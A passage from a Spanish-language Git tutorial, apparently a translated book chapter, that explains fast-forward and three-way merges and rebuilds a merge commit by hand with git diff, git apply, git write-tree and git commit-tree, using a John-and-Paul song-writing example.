</code></pre><p>Viendo al historial, tienes el <code>branch new_feature</code>, ahora apuntando a "Commit 4", el cual apunta a su antecesor, "Commit 3". La rama principal también está apuntando a "Commit 3".</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commits_1_4.png" class="kg-image" alt="The history after committing &quot;Commit 4&quot;" width="600" height="400" loading="lazy"><figcaption>The history after committing "Commit 4"</figcaption></figure><p>¡Es tiempo de fusionar la nueva característica! Eso es, fusionar estas dos ramas, <code>main</code> y <code>new_feature</code>. O, en la jerga de Git, fusionar <code>new_feature</code> <em><em>dentro de</em> </em><code>main</code>. Esto significa fusionar "Commit 4" y "Commit 3". Esto es muy trivial, ya que después de todo, "Commit 3" es un ancestro de "Commit 4".</p><p>Verifica la rama principal (con <code>git checkout main</code>), y ejecuta la fusión usando <code>git merge new_feature</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_merge_new_feature.png" class="kg-image" alt="Merging  into " width="600" height="400" loading="lazy"><figcaption>Merging <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_feature</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Ya que <code>new_feature</code> en realidad nunca difirió de main, Git podría realizar una fusión directa. Así que, ¿qué pasó aquí? Considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_ff_merge.png" class="kg-image" alt="The result of a fast-forward merge" width="600" height="400" loading="lazy"><figcaption>The result of a fast-forward merge</figcaption></figure><p>Aunque usaste <code>git merge</code>, no hubo una fusión en sí aquí. En realidad, Git hizo algo muy sencillo - <code>resetea</code> la rama principal para que apunte a la misma confirmación como la rama <code>new_feature</code>.</p><p>En caso que no quieres que eso suceda, sino que quieres que Git realmente realice una fusión, podrías cambiar la configuración de Git, o ejecutar el comando de fusión con el argumento <code>--no-ff</code>.</p><p>Primero, deshace la última confirmación:</p><pre><code class="language-bash">git reset --hard HEAD~1
</code></pre><p>Recordatorio: si esta forma de usar reset no te queda claro, no te preocupes - los cubriremos en detalle en la Parte 3. No es crucial para esta introducción de merge. Por ahora, es importante entender que básicamente deshace la operación de fusión.</p><p>Sólo para clarificar, ahora si verificas a <code>new_feature</code> nuevamente:</p><pre><code class="language-bash">git checkout new_feature
</code></pre><p>El historial luciría igual como antes de la fusión:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_reset_after_merge.png" class="kg-image" alt="The history after using " width="600" height="400" loading="lazy"><figcaption>The history after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard HEAD~1</code></figcaption></figure><p>Luego, realiza la fusión con el argumento <code>--no-fast-forward</code> (en corto <code>--no-ff</code>):</p><pre><code class="language-bash">git checkout main
git merge new_feature --no-ff
</code></pre><p>Ahora, si miramos el historial usando <code>git lol</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_lol_1.png" class="kg-image" alt="History after merging with the  flag" width="600" height="400" loading="lazy"><figcaption>History after merging with the <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">--no-ff</code> flag</figcaption></figure><p>(Recordatorio: <code>git lol</code> es un alias que agregué a Git para ver visiblemente el historial de una manera gráfica. Lo puedes encontrar, junto con los otros componentes de mi configuración, en la parte de <a href="#my-setup">Mi Configuración</a> del capítulo de <a href="#intro">Introducción</a>.)</p><p>Considera este historial, puedes ver que Git creó una nueva confirmación, una confirmación de fusión.</p><p>Si consideras esta confirmación un poco más de cerca:</p><pre><code class="language-bash">git log -n1
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_after_lol_1.png" class="kg-image" alt="The merge commit has two parents" width="600" height="400" loading="lazy"><figcaption>The merge commit has two parents</figcaption></figure><p>Verás que esta confirmación en realidad tiene dos padres - "Commit 4", el cual fue la confirmación a la que <code>new_feature</code> apuntó cuando ejecutaste <code>git merge</code>, y "Commit 3", el cual fue la confirmación a la que <code>main</code> apuntó.</p><p><strong><strong>Una confirmación de fusión tiene dos padres: las dos confirmaciones que fusionó.</strong></strong></p><p>La confirmación de fusión nos muestra el concepto de fusión bastante bien. Git toma dos confirmaciones, usualmente referenciados por dos ramas diferentes, y los fusiona juntos.</p><p>Después de la fusión, comenzaste el proceso desde <code>main</code>, estás todavía en <code>main</code>, y el historial de <code>new_feature</code> ha sido <em><em>fusionado</em></em> dentro de esta rama. Ya que comenzaste con <code>main</code>, luego "Commit 3", a la que apuntó <code>main</code>, es el primer antecesor de la confirmación de fusión, mientras que "Commit 4", la cual la fusionaste dentro de <code>main</code>, es el segundo antecesor de la confirmación de fusión.</p><p>Fíjate que empezaste en <code>main</code> cuando éste apuntaba a "Commit 3", y Git te ayudó bastante. Cambió el árbol de trabajo, el índice, y también el <code>HEAD</code> y creó un nuevo objeto de confirmación. Al menos cuando usas <code>git merge</code> sin el argumento <code>--no-commit</code> y cuando no es una fusión directa, Git hace todo eso.</p><p>Esto fue un caso super sencillo, donde las ramas que fusionaste no difirieron para nada. Pronto consideraremos casos más interesantes.</p><p>A propósito, puedes usar <code>git merge</code> para fusionar más de dos confirmaciones - en realidad, cualquier número de confirmaciones. Esto se hace raras veces, y para adherirnos al principio de practicidad de este libro, no lo profundizaremos.</p><p>Otra forma de ver a <code>git merge</code> es uniendo dos o más historiales de desarrollo juntos. Eso es, cuando fusionas, incorporas cambios desde las confirmaciones nombradas, desde el momento en que sus historiales difirieron <em><em>de</em></em> la rama actual, <em><em>en</em></em> la rama actual. Usé el término "rama" aquí, pero estoy enfatizando esto nuevamente - <strong><strong>en realidad estamos fusionando confirmaciones</strong></strong>.</p><h3 id="es-tiempo-de-un-caso-m-s-avanzado"><strong>Es tiempo de un Caso más Avanzado</strong></h3><p>Es tiempo de considerar un caso más avanzado, lo cual es probablemente el caso más común donde usamos <code>git merge</code> explícitamente - donde necesitas fusionar ramas que sí difieren uno del otro.</p><p>Supón que tenemos dos personas trabajando en este repo ahora, John y Paul.</p><p>John creó una rama:</p><pre><code class="language-bash">git checkout -b john_branch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_john_branch.png" class="kg-image" alt="A new branch, " width="600" height="400" loading="lazy"><figcaption>A new branch, <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">john_branch</code></figcaption></figure><p>Y John ha escrito una nueva canción en un nuevo archivo, <code>lucy_in_the_sky_with_diamonds.md</code>. Bueno, creo que John Lennon realmente no escribió en formato Markdown, o no usó Git para ese asunto, pero pretendamos que lo hizo para esta explicación.</p><pre><code class="language-bash">git add lucy_in_the_sky_with_diamonds.md
git commit -m "Commit 5"
</code></pre><p>Mientras John estaba trabajando en esta canción, Paul también estaba escribiendo, en otra rama. Paul había comenzado desde main:</p><pre><code class="language-bash">git checkout main
</code></pre><p>Y creó su propia rama:</p><pre><code class="language-bash">git checkout -b paul_branch
</code></pre><p>Y Paul escribió su canción en un archivo llamado <code>penny_lane.md</code>. Paul puso en el área de preparación y confirmó este archivo:</p><pre><code class="language-bash">git add penny_lane.md
git commit -m "Commit 6"
</code></pre><p>Así que ahora nuestro historial luce así - donde tenemos dos ramas distintas, que se ramifican desde <code>main</code>, con historiales distintos:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_6.png" class="kg-image" alt="The history after John and Paul committed" width="600" height="400" loading="lazy"><figcaption>The history after John and Paul committed</figcaption></figure><p>John está feliz con su rama (eso es, su canción), así que él decide fusionarlo en la rama <code>main</code>:</p><pre><code class="language-bash">git checkout main
git merge john_branch
</code></pre><p>En realidad, este es una fusión directa, como hemos aprendido antes. Puedes validar eso al ver el historial (usando <code>git lol</code>, por ejemplo):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/merge_after_commit_6.png" class="kg-image" alt="Merging  into  results in a fast-forward merge" width="600" height="400" loading="lazy"><figcaption>Merging <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">john_branch</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> results in a fast-forward merge</figcaption></figure><p>A este punto, Paul también quiere fusionar su rama dentro de <code>main</code>, pero ahora una fusión directa ya no es relevante - hay dos diferentes historiales aquí: el historial de <code>main</code> y el de <code>paul_branch</code>. No es que <code>paul_branch</code> solamente agrega confirmaciones encima de la rama main o vice versa.</p><p>Ahora las cosas se ponen interesante. 😎😎</p><p>Primero, dejemos a Git que haga el trabajo duro por ti. Después de eso, entenderemos lo que en realidad está sucediendo por debajo.</p><pre><code class="language-bash">git merge paul_branch
</code></pre><p>Considera este historial ahora:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/merge_after_commit_6_paul_branch.png" class="kg-image" alt="When you merge , you get a new merge commit\label{fig-history-after-git-merge}" width="600" height="400" loading="lazy"><figcaption>When you merge <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">paul_branch</code>, you get a new merge commit</figcaption></figure><p>Lo que tienes es una nueva confirmación, con dos antecesores - "Commit 5" y "Commit 6".</p><p>En el directorio de trabajo, puedes ver que la canción de John así también como la canción de Paul están ahí (si usas <code>ls</code>, verás ambos archivos en el directorio de trabajo).</p><p>Bien, Git realmente fusionó los cambios por ti. ¿Pero cómo hace que eso suceda?</p><p>Deshace la última confirmación:</p><pre><code class="language-bash">git reset --hard HEAD~
</code></pre><h3 id="c-mo-realizar-una-fusi-n-de-tres-v-as-en-git"><strong>Cómo realizar una Fusión de Tres Vías en Git</strong></h3><p>Es tiempo de entender lo que realmente está pasando por debajo. 😎</p><p>Lo que Git ha hecho aquí se le llama una <strong><strong>fusión de 3 vías</strong></strong>. Al delinear el proceso de una fusión de 3 vías, usaré el término "rama" para simplicidad, pero deberías recordar que podrías también fusionar dos (o más) confirmaciones que no son referenciados por una rama.</p><p>El proceso de fusión de 3 vías incluye estas etapas:</p><p>Primero, Git localiza el ancestro común de las dos ramas. Eso es, la confirmación común desde el cual las ramas de fusión difirieron más recientemente. Técnicamente, esto en realidad es la primer confirmación que es accesible desde ambas ramas. A esta confirmación entonces se le llama la base de fusión.</p><p>Segundo, Git calcula dos diffs - un diff de la base de fusión a la primer rama, y otro diff desde la base de fusión a la segunda rama. Git genera parches basados en esos diffs.</p><p>Tercero, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge.png" class="kg-image" alt="The three steps of the 3-way merge algorithm: (1) locate the common ancestor; (2) calculate diffs from the merge base to the first branch, and from the merge base to the second branch; (3) apply both patches together" width="600" height="400" loading="lazy"><figcaption>The three steps of the 3-way merge algorithm: (1) locate the common ancestor (2) calculate diffs from the merge base to the first branch, and from the merge base to the second branch (3) apply both patches together</figcaption></figure><p>Así que, devuelta a nuestro ejemplo.</p><p>En el primer paso, Git mira desde ambas ramas - <code>main</code> y <code>paul_branch</code> - y atraviesa el historial para encontrar la primera confirmación que es accesible desde ambos. En este caso, este sería.. ¿cuál confirmación?</p><p>Correcto, la confirmación de fusión (el que tiene a "Commit 3" y "Commit 4" como sus predecesores).</p><p>Si no estás seguro, siempre puedes preguntarle a Git directamente:</p><pre><code class="language-bash">git merge-base main paul_branch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_base.png" class="kg-image" alt="The merge base is the merge commit with &quot;Commit 3&quot; and &quot;Commit 4&quot; as its parents. Note: the previous commit merge is blurred as it is not reachable via the current history following the  command" width="600" height="400" loading="lazy"><figcaption>The merge base is the merge commit with "Commit 3" and "Commit 4" as its parents. Note: the previous commit merge is blurred as it is not reachable via the current history following the <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">reset</code> command</figcaption></figure><p>A propósito, este es el caso más común y sencillo, donde tenemos una única elección obvia para la base de fusión. En casos más complicados, podría haber múltiples posibilidades para una base de fusión, pero esto no está dentro de nuestro enfoque.</p><p>En el segundo paso, Git calcula las diferencias. Así que primero calcula la diferencia entre la confirmación de fusión y "Commit 5":</p><pre><code class="language-bash">git diff 4f90a62 4683aef
</code></pre><p>(Los valores de SHA-1 serán distintas en tu máquina.)</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_4_5.png" class="kg-image" alt="The diff between the merge commit and &quot;Commit 5&quot;\label{fig-john-patch}" width="600" height="400" loading="lazy"><figcaption>The diff between the merge commit and "Commit 5"</figcaption></figure><p>Si no te sientes cómodo con la salida de <code>git diff</code>, puedes leer el capítulo anterior donde lo describí en detalle.</p><p>Puedes almacenar esa diferencia en un archivo:</p><pre><code class="language-bash">git diff 4f90a62 4683aef &gt; john_branch_diff.patch
</code></pre><p>Luego, Git calcula la diferencia entre la confirmación de fusión y "Commit 6":</p><pre><code class="language-bash">git diff 4f90a62 c5e4951
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_4_6.png" class="kg-image" alt="The diff between the merge commit and &quot;Commit 6&quot;" width="600" height="400" loading="lazy"><figcaption>The diff between the merge commit and "Commit 6"</figcaption></figure><p>Escribe esto en un archivo también:</p><pre><code class="language-bash">git diff 4f90a62 c5e4951 &gt; paul_branch_diff.patch
</code></pre><p>Ahora Git aplica esos parches en la base de fusión.</p><p>Primero, intenta eso directamente - aplica los parches (te lo explicaré en un momento). Esto no es lo que realmente hace Git por defecto, pero te ayudará a ganar un mejor entendimiento de por qué Git necesita hacer algo distinto.</p><p>Verifica la base de fusión primero, eso es, la confirmación de fusión:</p><pre><code class="language-bash">git checkout 4f90a62
</code></pre><p>Y aplica el parche de John primero (como recordatorio, este es el parche que se muestra en la imagen con el subtítulo "The diff between the merge commit and "Commit 5""):</p><pre><code class="language-bash">git apply --index john_branch_diff.patch
</code></pre><p>Fíjate que por ahora no hay una confirmación de fusión. <code>git apply</code> actualiza el directorio de trabajo así también como el índice, ya que usamos el conmutador <code>--index</code>.</p><p>Puedes observar el estado usando <code>git status</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_apply_john.png" class="kg-image" alt="Applying John's patch on the merge commit" width="600" height="400" loading="lazy"><figcaption>Applying John's patch on the merge commit</figcaption></figure><p>Así que ahora la nueva canción de John se incorpora en el índice. Aplica el otro parche:</p><pre><code class="language-bash">git apply --index paul_branch_diff.patch
</code></pre><p>Como resultado, el índice contiene los cambios desde ambas ramas.</p><p>Ahora es tiempo de confirmar tu fusión. Ya que el comando de porcelana <code>git commit</code> siempre genera una confirmación con un solo predecesor, necesitarías el comando de plomería subyacente - <code>git commit-tree</code>.</p><p>Si necesitas un recordatorio sobre los comandos de porcelana vs de plomería, mira el <a href="#cap-4">capítulo 4</a> donde expliqué estos términos, y creé un repo entero desde cero.</p><p>Recuerda que cada objeto de confirmación de Git apunta a un sólo árbol. Así que necesitas registrar los contenidos del índice en un árbol:</p><pre><code class="language-bash">git write-tree
</code></pre><p>Ahora obtienes el valor de SHA-1 del árbol creado, y puedes crear un objeto de confirmación usando <code>git commit-tree</code>:</p><pre><code class="language-bash">git commit-tree &lt;TREE_SHA&gt; -p &lt;COMMIT_5&gt; -p &lt;COMMIT_6&gt; -m "Merge commit!"
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/create_merge_commit.png" class="kg-image" alt="Creating a merge commit" width="600" height="400" loading="lazy"><figcaption>Creating a merge commit</figcaption></figure><p>Genial, ¡así que has creado un objeto de confirmación!</p><p>Recuerda que <code>git merge</code> también cambia el <code>HEAD</code> para que apunte al nuevo objeto de confirmación de fusión. Así que puedes simplemente hacer lo mismo:</p><pre><code class="language-bash">git reset --hard db315a
</code></pre><p>Si miras al historial ahora:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_reset_to_merge_commit_git_lol.png" class="kg-image" alt="The history after creating a merge commit and resetting " width="600" height="400" loading="lazy"><figcaption>The history after creating a merge commit and resetting <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>(Nota: en este estado, <code>HEAD</code> está "separado" - eso es, directamente apunta a un objeto de confirmación en vez de una referencia nombrada. <code>gg</code> no muestra el <code>HEAD</code> cuando está "separado", así que no te confundas si no puedes ver el <code>HEAD</code> en la salida de <code>gg</code>.)</p><p>Esto es casi lo que queríamos. Recuerda que cuando ejecutaste <code>git merge</code>, el resultado fue <code>HEAD</code> apuntando a <code>main</code> el cual apuntó a la nueva confirmación creada (como se muestra en la imagen con el subtítulo "When you merge <code>paul_branch</code>), obtienes una nueva confirmación de fusión". ¿Qué deberías hacer entonces?</p><p>Bueno, lo que quieres es modificar a <code>main</code>, así que lo puedes apuntar a la nueva confirmación:</p><pre><code class="language-bash">git checkout main
git reset --hard db315a
</code></pre><p>Y ahora tienes el mismo resultado cuando ejecutaste <code>git merge</code>: <code>main</code> apunta a la nueva confirmación, el cual tiene "Commit 5" y Commit 6" como sus predecesores. Puedes usar <code>git lol</code> para verificar eso.</p><p>Así que esto es exactamente el mismo resultado como la fusión hecha por Git, con la excepción de la marca de tiempo y así el valor de SHA-1, por supuesto.</p><p>Sobretodo, tienes que fusionar los contenidos de las dos confirmaciones - eso es, el estado de los archivos, y también el historial de esas confirmaciones - creando una confirmación de fusión que apunta a ambos historiales.</p><p>En este caso sencillo, podrías en realidad aplicar los parches usando <code>git apply</code> y todo funciona bastante bien.</p><h3 id="r-pida-recapitulaci-n-de-una-fusi-n-de-tres-v-as"><strong>Rápida recapitulación de una Fusión de tres vías</strong></h3><p>Así que para recapitular rápidamente, en una fusión de tres vías, Git:</p><ul><li>Primero, localiza la base de fusión - el ancestro común de las dos ramas. Eso es, la primer confirmación que es accesible de ambas ramas.</li><li>Segundo, Git calcula los dos diffs - un diff de la base de fusión a la primera rama, y otro diff de la base de fusión a la segunda rama.</li><li>Tercero, Git aplica ambos parches a la base de fusión, usando un algoritmo de fusión de tres vías. No he explicado la fusión de tres vías todavía, pero lo explicaré más tarde. El resultado es el estado de la nueva confirmación de fusión.</li></ul><p>También puedes entender por qué se llama una "fusión de 3 vías": Git fusiona, tres estados diferentes - el de la primera rama, el de la segunda rama, y su ancestro en común. En nuestro ejemplo anterior, <code>main</code>, <code>paul_branch</code>, y la confirmación de fusión (con "Commit 3" y "Commit 4" como predecesores), respectivamente.</p><p>Esto es improbable, digamos, los ejemplos directos que vimos antes. Los ejemplos directos son en realidad un caso de una fusión de dos vías, ya que Git solamente compara dos estados - por ejemplo, a donde <code>main</code> apuntó, y a donde <code>john_branch</code> apuntó.</p><h3 id="continuando"><strong>Continuando</strong></h3><p>Todavía, esto fue un sencillo caso de una fusión de 3 vías. John y Paul crearon canciones distintos, así que cada uno de ellos tocaron un archivo distinto. Fue bastante directo para ejecutar la fusión.</p><p>¿Qué hay sobre casos más interesantes?</p><p>Digamos que ahora John y Paul son co-autores de una nueva canción.</p><p>Así que, John verificó la rama <code>main</code> y comenzó a escribir la canción:</p><pre><code class="language-bash">git checkout main
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/a_day_in_the_life_md.png" class="kg-image" alt="John's new song" width="600" height="400" loading="lazy"><figcaption>John's new song</figcaption></figure><p>Él lo puso en el área de preparación y lo confirmó ("Commit 7"):</p><pre><code class="language-bash">git add a_day_in_the_life.md
git commit -m "Commit 7"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_7.png" class="kg-image" alt="John's new song is committed" width="600" height="400" loading="lazy"><figcaption>John's new song is committed</figcaption></figure><p>Ahora, Paul hace una rama:</p><pre><code class="language-bash">git checkout -b paul_branch_2
</code></pre><p>Y edita la canción, agregando otro verso:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/a_day_in_the_life_paul_verse.png" class="kg-image" alt="Paul added a new verse" width="600" height="400" loading="lazy"><figcaption>Paul added a new verse</figcaption></figure><p>Por supuesto, la canción original no incluye el título "Paul's Verse", pero lo agregué para claridad.</p><p>Paul pone en el área de preparación y confirma los cambios:</p><pre><code class="language-bash">git add a_day_in_the_life.md
git commit -m "Commit 8"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_8.png" class="kg-image" alt="The history after introducing &quot;Commit 8&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 8"</figcaption></figure><p>John también hace una rama tomando de main y agrega unas dos líneas adicionales al final:</p><pre><code class="language-bash">git checkout main
git checkout -b john_branch_2
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/a_day_in_the_life_john_addition.png" class="kg-image" alt="John added the two last lines" width="600" height="400" loading="lazy"><figcaption>John added the two last lines</figcaption></figure><p>John pone en el área de preparación y confirma sus cambios también ("Commit 9"):</p><pre><code class="language-bash">git add a_day_in_the_life.md
git commit -m "Commit 9"
</code></pre><p>Este es el historial resultante:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_9.png" class="kg-image" alt="The history after John's last commit" width="600" height="400" loading="lazy"><figcaption>The history after John's last commit</figcaption></figure><p>Así que, Paul y John modificó el mismo archivo en diferentes ramas. ¿Tendrá éxito Git al fusionarlos?</p><p>Digamos que ahora no vamos por <code>main</code>, sino que John intentará fusionar la nueva rama de Paul en su rama:</p><pre><code class="language-bash">git merge paul_branch_2
</code></pre><p>¡Espera! ¡No ejecutes este comando! ¿Por qué le dejarías a Git hacer todo el trabajo duro? Estás intentando de entender el proceso aquí.</p><p>Así que, primero, Git necesita encontrar la base de fusión. ¿Puedes ver cual confirmación sería?</p><p>Correcto, sería la última confirmación en la rama <code>main</code>, donde los dos difieren - eso es, "Commit 7".</p><p>Puedes verificar eso usando:</p><pre><code class="language-bash">git merge-base john_branch_2 paul_branch_2
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/merge_base_2.png" class="kg-image" alt="&quot;Commit 7&quot; is the merge base" width="600" height="400" loading="lazy"><figcaption>"Commit 7" is the merge base</figcaption></figure><p>Cambia a la base de fusión así más tarde puedes aplicar los parches que crearás:</p><pre><code class="language-bash">git checkout main
</code></pre><p>Genial, ahora Git debería calcular los diffs y generar los parches. Puedes observar los diffs directamente:</p><pre><code class="language-bash">git diff main paul_branch_2
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_main_paul_branch_2.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main paul_branch_2</code></figcaption></figure><p>¿Tendrá éxito en aplicar este parche? Bueno, sin problema, Git tiene todas las líneas de contexto en lugar.</p><p>Cambia a la base de fusión (el cual es "Commit 7", también referenciado por <code>main</code>), y pide a Git que aplique este parche:</p><pre><code class="language-bash">git checkout main
git diff main paul_branch_2 &gt; paul_branch_2.patch
git apply --index paul_branch_2.patch
</code></pre><p>Y esto funcionó, sin problemas para nada.</p><p>Ahora, calcula la diff entre la nueva rama de John y la base de fusión. Fíjate que no has confirmado los cambios aplicados, así que <code>john_branch_2</code> todavía apunta a la misma confirmación como antes, "Commit 9":</p><pre><code class="language-bash">git diff main john_branch_2
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_main_john_branch_2.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main john_branch_2</code></figcaption></figure><p>¿Funcionará si se aplica este diff?</p><p>Bueno, de hecho, sí. Fíjate que aunque los números de líneas han cambiado en la versión actual del archivo, gracias a las líneas de contexto que Git es capaz de localizar donde necesita agregar estas líneas...</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_main_john_branch_2_context.png" class="kg-image" alt="Git can rely on the context lines" width="600" height="400" loading="lazy"><figcaption>Git can rely on the context lines</figcaption></figure><p>Guarda este parche y luego aplícalo:</p><pre><code class="language-bash">git diff main john_branch_2 &gt; john_branch_2.patch
git apply --index john_branch_2.patch
</code></pre><p>Observa el archivo resultante:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/a_day_in_the_life_after_merge.png" class="kg-image" alt="The result after applying Paul's patch" width="600" height="400" loading="lazy"><figcaption>The result after applying Paul's patch</figcaption></figure><p>Genial, exactamente lo que queríamos.</p><p>Ahora puedes crear el árbol y la confirmación relevante:</p><pre><code class="language-bash">git write-tree
</code></pre><p>No te olvides de especificar ambos predesores:</p><pre><code class="language-bash">git commit-tree &lt;TREE-ID&gt; -p paul_branch_2 -p john_branch_2 -m "Merging new changes"
